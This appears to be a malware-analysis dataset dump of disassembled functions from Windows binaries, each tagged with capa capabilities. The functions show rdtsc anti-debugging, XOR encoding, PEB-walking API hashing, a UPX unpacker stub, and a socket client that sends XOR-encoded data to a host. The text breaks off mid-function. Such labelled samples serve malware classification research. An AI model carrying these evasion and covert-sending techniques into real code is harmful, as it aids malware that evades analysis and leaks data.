joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7f11d2
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp + 8]
jmp 0x7d4eee

Function at 0x806636
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ecx
mov dword [esp], ecx
pushfd
jmp 0x8067da
push ebx
jmp 0x8067e7
not dx
cmc
rdtsc
jmp 0x806abf
jmp 0x806713
xchg al, ch
pop word [esp]
lea esp, [esp + 2]
jmp 0x80665d
mov eax, edi
bswap ecx
sub ebx, eax
sets ah
jmp 0x80666c
mov al, ah
lea ecx, [esi*4]
jmp 0x806695
push eax
mov eax, ebp
add eax, 0xfffffffc
jmp 0x808302
add dword [esi], eax
bswap ecx
jmp 0x8066dd
mov edx, edi
xchg ah, al
mov eax, edi
call fcn.007f0563
jmp 0x8066a4
mov cl, byte [esp]
neg cl
sbb ch, ch
sub esp, 4
jmp 0x8066e7
pop ecx
neg cx
cmc
add edi, 4
jmp 0x8066c7
lea esp, [esp + 4]
add esi, 4
lea ecx, [eax + ebp]
xchg ch, cl
jmp 0x806755
lea esp, [esp + 0x10]
push dword [ebx + edi]
rdtsc
mov al, byte [esp]
jmp 0x8066ba
mov edx, dword [ebp - 0xc]
bswap ecx
not al
jmp 0x80673b
pushfd
push esp
lea esp, [esp + 0xc]
jne 0x7d2722
je 0x7d2751
mov eax, dword [ebp + 8]
mov cl, byte [esp]
lea ecx, [esi + ebp]
push bx
lea esp, [esp + 2]
jmp 0x806790
dec dword [ebp - 4]
pop ecx
push ebp
mov dword [esp], ecx
jmp 0x806729
pop edi
bswap ebx
bswap eax
jmp 0x806801
xchg ah, bh
mov ax, 0x15ed
jmp 0x80675f
lea ecx, reloc.IPHLPAPI.DLL_GetInterfaceInfo
call 0x7f061f
mov edi, 0x791a1eca
mov edi, 0xd0acdc5e
jmp 0x806775
lea esp, [esp + 4]
jmp 0x7d26e5
lea eax, reloc.IPHLPAPI.DLL_GetInterfaceInfo
lea ebx, reloc.IPHLPAPI.DLL_GetInterfaceInfo
setb bh
lea ebx, [edx + edi]
mov ebx, dword [esp]
jmp 0x8067a7
lea esp, [esp + 8]
mov byte [eax], 0
inc eax
jmp 0x7d26e5
mov ecx, dword [ebp - 4]
sub esp, 0x13
lea esp, [esp + 3]
jmp 0x806851
pop esi
mov eax, 0x287e359f
mov dword [ebp - 4], 0x208
jmp 0x8067c3
jne 0x7d26cf
leave
ret
lea esp, [esp + 0x14]
dec dword [ebp - 4]
test ecx, ecx
jmp 0x806826
mov eax, ebp
add eax, 0xfffffff8
mov ecx, dword [eax]
pop eax
jmp 0x806705
push dword [ebp + 0xc]
sub esp, 0x10
lea ecx, [esi + ebp]
push eax
jmp 0x8068f5
mov dword [eax], edx
pop eax
jmp 0x7d2722
Function at 0x8a40cf
Capabilities:
Execute anti-debugging instructions

Disassembly:
std
pop word [esp]
jmp 0x8a40f3
push ecx
xchg word [esp], cx
xchg dword [esp], ebx
lea edx, [ebp*4]
btc dx, cx
neg al
jmp 0x8a41e2
lea ebx, reloc.IPHLPAPI.DLL_GetInterfaceInfo
push dword [esp + 2]
lea esp, [esp + 5]
jmp 0x8a417c
mov ax, si
push word [esp]
or dl, 0x81
xchg dword [esp], esi
lea ecx, [esp + 0x2b]
bswap ebx
jmp 0x8a4134
mov di, ax
xchg cl, ch
rdtsc
lea esp, [esp]
mov bl, byte [esp]
mov al, byte [esp]
jmp 0x8a41a3
ror si, 0xe
xchg dword [esp], edx
add esp, 0
rdtsc
pop ebx
add dl, bl
jmp 0x8a415f
mov dx, sp
cmc
mov edx, 0xad71fdcb
rdtsc
bswap eax
mov ch, byte [esp]
jmp 0x8a41b7
cld
neg di
mov cl, 0x6a
mov cl, 0x28
lea ebp, [eax*4]
add esp, 0
jmp 0x8a418d
add cx, 0xee41
mov ecx, edx
and al, bh
call 0x8a41c6
or eax, 0x3247c8b
xchg dword [esp], ecx
xchg dword [esp], ebx
jmp 0x8a4210
bswap esi
mov ebp, dword [esp + 5]
pop word [esp]
xchg ebp, eax
mov word [esp], ax
btc ebx, ebx
jmp 0x8a414a
pop word [esp]
mov edi, 0x464ada7c
shr cx, 5
rdtsc
jmp 0x8a4223
mov edx, ebx
mov si, 0x8c79
xchg ch, cl
mov dword [esp], ebp
bt esi, ecx
xchg di, bx
jmp 0x8a41fa
lea esp, [esp + 1]
push eax
lea edx, [esi*4]
neg edx
mov ax, word [esp + 3]
lea esp, [esp + 4]
jmp 0x8a446a
mov cx, 0x68af
lea eax, reloc.IPHLPAPI.DLL_GetInterfaceInfo
xchg byte [esp], dl
lea edi, [esi*4]
call fcn.008a4274
xchg cx, bp
xchg esi, ebp
call fcn.008a43df
wait
push ss
test bl, ah
push ds
std
pop es
scasb al, byte es:[edi]
mov ecx, 0x8dd2fb98
sub al, 0x95
add byte [eax], al
add byte [eax], al
lea eax, [edi*4]
shr al, cl
mov bl, cl
jmp 0x8a439f
sub esp, 1
mov ecx, 0x2b264d62
mov cl, byte [esp + 1]
bt ecx, ebp
stc
mov byte [esp + 1], dh
jmp 0x8a4386

Function at 0x8a4274
Capabilities:
Execute anti-debugging instructions

Disassembly:
bswap ecx
rdtsc
bts esi, edi
mov cx, word [esp + 4]
pushal
jmp 0x8a42de
mov byte [esp], ch
mov bx, di
jmp 0x8a425e
pop esi
mov ebp, esp
xchg dword [esp + 0x15], ebp
xchg cl, bh
not di
push word [esp]
jmp 0x8a42b2
sub esp, 2
xchg ebx, esi
xchg cl, al
mov byte [esp + 3], ah
pop edx
pop dword [esp + 8]
jmp 0x8a427c
dec ecx
pop ebx
lea esp, [esp + 0xf]
mov bh, 0xe9
cld
setge bh
jmp 0x8a42c4
mov dx, bx
xchg dx, di
rcr bh, 7
pop word [esp]
add esp, 5
jmp 0x8a4344
lea ebx, [edi - 0xae]
xchg byte [esp + 0x1c], ah
xchg cl, dh
setns dh
mov word [esp + 3], bp
inc esi
jmp 0x8a42a0
mov bl, 0x23
cld
lea ebx, [esi*4]
rdtsc
mov ebp, eax
jmp 0x8a4321
mov ax, 0x9baa
mov dh, al
mov word [esp + 1], cx
xchg word [esp + 1], bp
lea edx, [ecx + esi]
pop eax
jmp 0x8a42f5
mov ecx, 0x3a87926d
push ebx
mov edx, 0xe515f795
mov esi, dword [esp + 1]
push word [esp + 1]
mov ebx, eax
jmp 0x8a435b
push word [esp + 1]
push ebp
add esp, 1
mov byte [esp + 6], dh
mov byte [esp + 7], cl
lea esp, [esp + 6]
jmp 0x8a430b
mov bx, word [esp]
push edx
mov ebp, ecx
setle dl
bswap edi
pop dword [esp]
jmp 0x8a4370
rol cx, cl
pop word [esp + 1]
mov edi, dword [esp]
jmp 0x8a4407
lea ebp, [edx*4]
rdtsc
rdtsc
xchg ebx, ecx
mov ax, 0x37f3
lea edx, [edx + edi]
cld
jmp 0x8a43b5
lea eax, [ebx*4]
pop esi
rcl di, 6
not bx
not ax
neg bh
jmp 0x8a43cf
Function at 0x8a4a11
Capabilities:
Execute anti-debugging instructions

Disassembly:
add bl, 0xdd
xor bx, 0xb409
push ecx
mov dh, 0x8f
push word [esp + 6]
jmp 0x8a4a57
rdtsc
setp dh
push dword [esp + 1]
pop dword [esp + 1]
push word [esp + 1]
mov ah, byte [esp + 0xc]
jmp 0x8a4ae5
xchg bl, dh
cpuid
mov bl, 0xc9
btc di, ax
jmp 0x8a4ac8
btr eax, esp
push word [esp + 3]
not bl
pop word [esp + 9]
pop ax
bswap esi
jmp 0x8a4a87
cmc
inc cx
mov cl, ch
btc cx, sp
lea esp, [esp]
bsr dx, si
jmp 0x8a4b10
lea edi, [edx*4]
mov cx, ax
std
clc
lea esp, [esp + 0xb]
lea esp, [esp]
jmp 0x8a4ab2
mov word [esp], bp
xchg dword [esp + 6], edx
mov byte [esp + 4], al
neg bh
cmc
shl ax, 3
jmp 0x8a4a9d
mov dword [esp + 6], esi
mov ebp, dword [esp]
cmp dl, cl
neg di
sub esp, 0x1c
jmp 0x8a4b39
mov ah, byte [esp]
mov di, bx
std
mov si, word [esp]
sub esp, 0xc
setae ah
jmp 0x8a4afa
mov ah, ch
push word [esp + 0x1e]
lea eax, [esi + esi]
lea esp, [esp + 1]
jmp 0x8a4d17
or di, si
mov eax, dword [esp + 0x1e]
mov byte [esp + 9], ah
lea edx, [ebp - 0xb9]
bsf ebp, eax
xchg byte [esp + 0x26], bh
jmp 0x8a4b23
btr ebp, eax
lea eax, [eax - 0x3e]
mov si, word [esp + 3]
jmp 0x8a4c01
bsf edx, eax
xchg dword [esp], edx
lea esp, [esp + 4]
mov bp, 0xda4b
lea esi, [esi*4]
sub esp, 0x1c
jmp 0x8a4b85
pop ax
mov di, si
pop dword [esp]
sete dh
cpuid
add edi, 0x3718f5a3
jmp 0x8a4b9b
lea edx, [ebp*4]
push dword [esp + 0x15]
mov dx, sp
mov si, word [esp + 0x15]
xchg word [esp + 0x1f], bp
mov ebp, edx
call fcn.008a4be7
push word [esp + 0x13]
mov edx, ebx
mov edi, ebp
pop dword [esp + 0xc]
clc
pop si
jmp 0x8a4cc2
setp ah
mov word [esp + 0x19], si
xchg word [esp + 0x1a], ax
rdtsc
popal
push dword [esp + 8]
jmp 0x8a4bbc
xchg byte [esp + 3], ah
call fcn.008a4c75
mov ebx, esi
neg bx
pop dword [esp + 6]
lea ebx, reloc.IPHLPAPI.DLL_GetInterfaceInfo
mov dx, 0xe028
mov word [esp + 3], di
jmp 0x8a4ce8
xchg ah, cl
mov word [esp + 9], si
popal
neg ecx
dec dx
neg ebp
jmp 0x8a4c8f
setne ah
bswap ebx
bswap ebx
not dx
cpuid
not cl
jmp 0x8a4d01
xchg word [esp + 8], dx
bswap esi
lea edx, [esi*4]
rol ecx, 0x1c
bswap ebx
bts si, ax
jmp 0x8a4cd2
setbe dl
mov al, 0x9e
rdtsc
bswap esi
lea esp, [esp + 0xc]
popal
jmp 0x8a4e7a
mov bx, cx
bswap ecx
bswap esi
lea ebp, [ebx + esi]
bt ax, ax
mov word [esp + 0x21], dx
jmp 0x8a4c5c
push edi
pop dword [esp + 0xf]
mov dword [esp + 0x1c], ecx
call fcn.008a4d2f
pushal
lea esp, [esp + 0x1c]
push ebp
pop word [esp + 1]
lea esp, [esp + 2]
jmp 0x8a4da3
mov dword [esp + 0x38], esi
call fcn.008a4d84
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
jmp 0x8a4ddc
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x8a401d
lea esp, [esp + 4]
push eax
pushal
mov dword [esp + 0x13], eax
jmp 0x8a4d56
sub esp, 6
mov word [esp], si
cmc
lea esp, [esp + 2]
lea esp, [esp + 4]
popfd
jmp 0x8a4dff

Function at 0x8a4d84
Capabilities:
Access peb ldr_data
Packed with generic packer

Disassembly:
mov dword [esp], edx
lea esp, [esp]
lea esp, [esp]
mov dword [esp + 0x38], edi
lea esp, [esp + 0x38]
jmp 0x8a4dac
Function at 0x4062e5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40b508
cmp edx, dword [eax]
je 0x406307
add eax, 8
inc ecx
cmp eax, 0x40b598
jl 0x4062f8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40b508]
jne 0x406435
mov eax, dword [0x40ba54]
cmp eax, 1
je 0x40640f
test eax, eax
jne 0x406338
cmp dword [0x40b1b4], 1
je 0x40640f
cmp edx, 0xfc
je 0x406435
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40636f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004037b0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004038a0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4063b2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004038a0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40957c
push edi
call fcn.004077b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004037b0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004037c0
lea eax, [ebp - 0xa0]
push 0x40955c
push eax
call fcn.004037c0
push dword [esi + 0x40b50c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004037c0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00407726
add esp, 0x2c
pop edi
jmp 0x406435
lea eax, [ebp + 8]
lea esi, [esi + 0x40b50c]
push 0
push eax
push dword [esi]
call fcn.004038a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x430000
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
pushal
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42ffd9
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Hide graphical window

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x34
mov ebx, dword [esp + 0x48]
mov eax, dword [0x403004]
xor eax, esp
mov dword [esp + 0x30], eax
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x40301c
push 0x67
push ebx
call esi
push 0x64
push 0x4030e4
push 0x6d
push ebx
call esi
mov dword [esp], 0x30
mov dword [esp + 4], 3
mov dword [esp + 8], 0x4011a0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], ebx
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
push 0x6b
push ebx
call esi
mov dword [esp + 0x18], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], 6
mov dword [esp + 0x24], 0x6d
mov dword [esp + 0x28], 0x4030e4
push 0x6c
push ebx
call esi
mov dword [esp + 0x2c], eax
mov edi, esp
push edi
call dword [sym.imp.USER32.dll_RegisterClassExW]
mov dword [0x403018], ebx
sub esp, 0x30
mov dword [esp + 0x28], ebx
movaps xmm0, xmmword [section..rdata]
movups xmmword [esp + 0xc], xmm0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 8], 0x40301c
mov dword [esp + 4], 0x4030e4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x40117f
mov esi, eax
push dword [esp + 0x54]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x6d
push ebx
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, eax
push 0
push 0
push 0
push edi
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x401179
mov ebx, dword [sym.imp.USER32.dll_TranslateAcceleratorW]
mov ebp, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x40115d
push 0
push 0
push 0
push edi
call ebp
test eax, eax
je 0x401179
push edi
push esi
push dword [esp + 8]
call ebx
test eax, eax
jne 0x401150
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x401150
mov esi, dword [esp + 8]
jmp 0x401181
xor esi, esi
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.004012ac
mov eax, esi
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
Function at 0x40a940
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x40a91c
sub al, 0x20
ror edi, 0xd
add edi, eax
dec ecx
jne 0x40a913
push edx
push edi
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
add eax, edx
mov eax, dword [eax + 0x78]
test eax, eax
je 0x40a981
add eax, edx
mov ecx, dword [eax + 0x18]
push eax
mov ebx, dword [eax + 0x20]
add ebx, edx
test ecx, ecx
je 0x40a980
dec ecx
mov esi, dword [ebx + ecx*4]
xor edi, edi
add esi, edx
xor eax, eax
ror edi, 0xd
lodsb al, byte [esi]
add edi, eax
cmp al, ah
jne 0x40a94c
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
jne fcn.0040a940
pop eax
mov ebx, dword [eax + 0x24]
add ebx, edx
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
add ebx, edx
mov eax, dword [ebx + ecx*4]
add eax, edx
mov dword [esp + 0x24], eax
pop ebx
pop ebx
popal
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
pop edx
mov edx, dword [edx]
jmp 0x40a90a
Function at 0x105fe440
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x105fe62d
pushal
mov esi, section.UPX1
lea edi, [esi - 0x36f000]
push edi
or ebp, 0xffffffff
jmp 0x105fe46a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x105fe471
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105fe460
mov eax, 1
add ebx, ebx
jne 0x105fe483
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x105fe494
jne 0x105fe4b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105fe4b3
dec eax
add ebx, ebx
jne 0x105fe4a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x105fe478
add ebx, ebx
jne 0x105fe4af
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x105fe505
xor ecx, ecx
sub eax, 3
jb 0x105fe4cb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x105fe53a
sar eax, 1
mov ebp, eax
jmp 0x105fe4d6
add ebx, ebx
jne 0x105fe4d6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105fe4a4
inc ecx
add ebx, ebx
jne 0x105fe4e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105fe4a4
add ebx, ebx
jne 0x105fe4f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x105fe4e6
jne 0x105fe502
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x105fe4e6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x105fe524
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x105fe516
jmp 0x105fe466
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x105fe524
add edi, ecx
jmp 0x105fe466
pop esi
mov edi, esi
mov ecx, 0x6f83
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x105fe542
cmp byte [edi], 0x27
jne 0x105fe542
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x105fe547
lea edi, [esi + 0x5f3000]
mov eax, dword [edi]
or eax, eax
je 0x105fe5bf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x613b80]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x613cb0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x105fe574
mov ecx, edi
jns 0x105fe5a3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x613cb4]
or eax, eax
je 0x105fe5b9
mov dword [ebx], eax
add ebx, 4
jmp 0x105fe591
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x105fe5f0
cmp al, 0xef
ja 0x105fe5e3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x105fe5c5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x105fe5d2
mov ebp, dword [esi + 0x613cb8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x105fe624
sub esp, 0xffffff80
jmp 0x10115cc2
Function at 0x5941a80
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x595dfea
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a8
push esi
mov esi, ecx
mov dword [esp + 0x18], esi
lea ecx, [esi + 4]
call fcn.05941000
lea ecx, [esi + 0x14]
mov dword [esp + 0x1b4], 0
call fcn.05941000
lea ecx, [esi + 0x24]
mov byte [esp + 0x1b4], 1
call fcn.05941000
lea ecx, [esi + 0x34]
mov byte [esp + 0x1b4], 2
call fcn.05941000
lea eax, [esp + 0x1c]
mov dword [esi], 0x595f600
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov cl, 0x68
mov dword [esi + 0x4c], eax
mov byte [esp + 4], cl
mov byte [esp + 0xa], cl
mov cl, 0x6f
mov al, 0x74
mov dl, 0x2e
mov byte [esp + 0xb], cl
mov byte [esp + 0xc], cl
mov byte [esp + 0x14], cl
mov byte [esp + 5], al
mov byte [esp + 6], al
mov byte [esp + 7], 0x70
mov byte [esp + 0xe], dl
mov byte [esp + 0x12], dl
mov edx, dword [esp + 4]
lea ecx, [esi + 0x50]
mov byte [esp + 8], 0x73
mov byte [esp + 9], 0x3a
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
mov eax, dword [esp + 8]
mov dword [ecx], edx
mov byte [esp + 0xf], 0x62
mov edx, dword [esp + 0xc]
mov byte [esp + 0x10], 0x61
mov dword [ecx + 4], eax
mov byte [esp + 0x13], 0x63
mov eax, dword [esp + 0x10]
mov byte [esp + 0x15], 0x6d
mov dword [ecx + 8], edx
mov dx, word [esp + 0x14]
mov byte [esi + 0x62], 0
mov dword [esi + 0x48], 0xffffffff
mov dword [ecx + 0xc], eax
mov eax, esi
pop esi
mov word [ecx + 0x10], dx
mov ecx, dword [esp + 0x1a8]
mov dword fs:[0], ecx
add esp, 0x1b4
ret
Function at 0x5941c80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x24
push esi
push edi
mov esi, ecx
call fcn.05942120
mov eax, dword [esi + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0x62], 0
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x48], eax
jne 0x5941cb8
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x5941cd3
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov edx, dword [esp + 0x34]
mov word [esp + 0x1c], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x20]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0x48]
push ecx
mov dword [esp + 0x2c], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x5941d15
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov eax, dword [esi + 0x48]
lea edx, [esp + 8]
push 4
push edx
push 8
push 0xffff
push eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x5941d70
push eax
lea ecx, [esp + 0x10]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0x48]
lea edx, [esp + 0x24]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], 0x2bf20
mov dword [esp + 0x3c], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x5941dd0
push 0
push 0
mov byte [esi + 0x62], 1
call fcn.05958f10
add esp, 0x1c
mov dword [esi + 0x44], eax
mov al, 1
pop edi
pop esi
add esp, 0x24
ret 8

Function at 0x5941da0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x5941dc0
mov dl, byte [ecx + eax]
sub dl, 0x7a
xor dl, 0x19
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x5941daf
pop esi
ret

Function at 0x5942320
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x5942340
mov dl, byte [ecx + eax]
xor dl, 0x19
add dl, 0x7a
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x594232f
pop esi
ret
Function at 0x5942350
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
push ebx
mov ebp, ecx
push edi
call fcn.05942320
mov esi, dword [esp + 0x24]
mov eax, ebx
add esp, 8
cmp eax, esi
mov dword [esp + 0x14], 0
jb 0x59423c3
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0x48]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x59423a2
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x5942382
cmp dword [esp + 0x1c], 0xf
je 0x59423f6
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x594237a
test ebx, ebx
jle 0x59423ea
xor esi, esi
mov ecx, dword [ebp + 0x48]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x59423e1
inc esi
cmp esi, 0xf
jl 0x59423c9
cmp esi, 0xf
je 0x59423f6
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x59423f9
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x5942560
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x5942584
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x594257d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x59428e0
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x5942943
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x5942963
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0x10]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
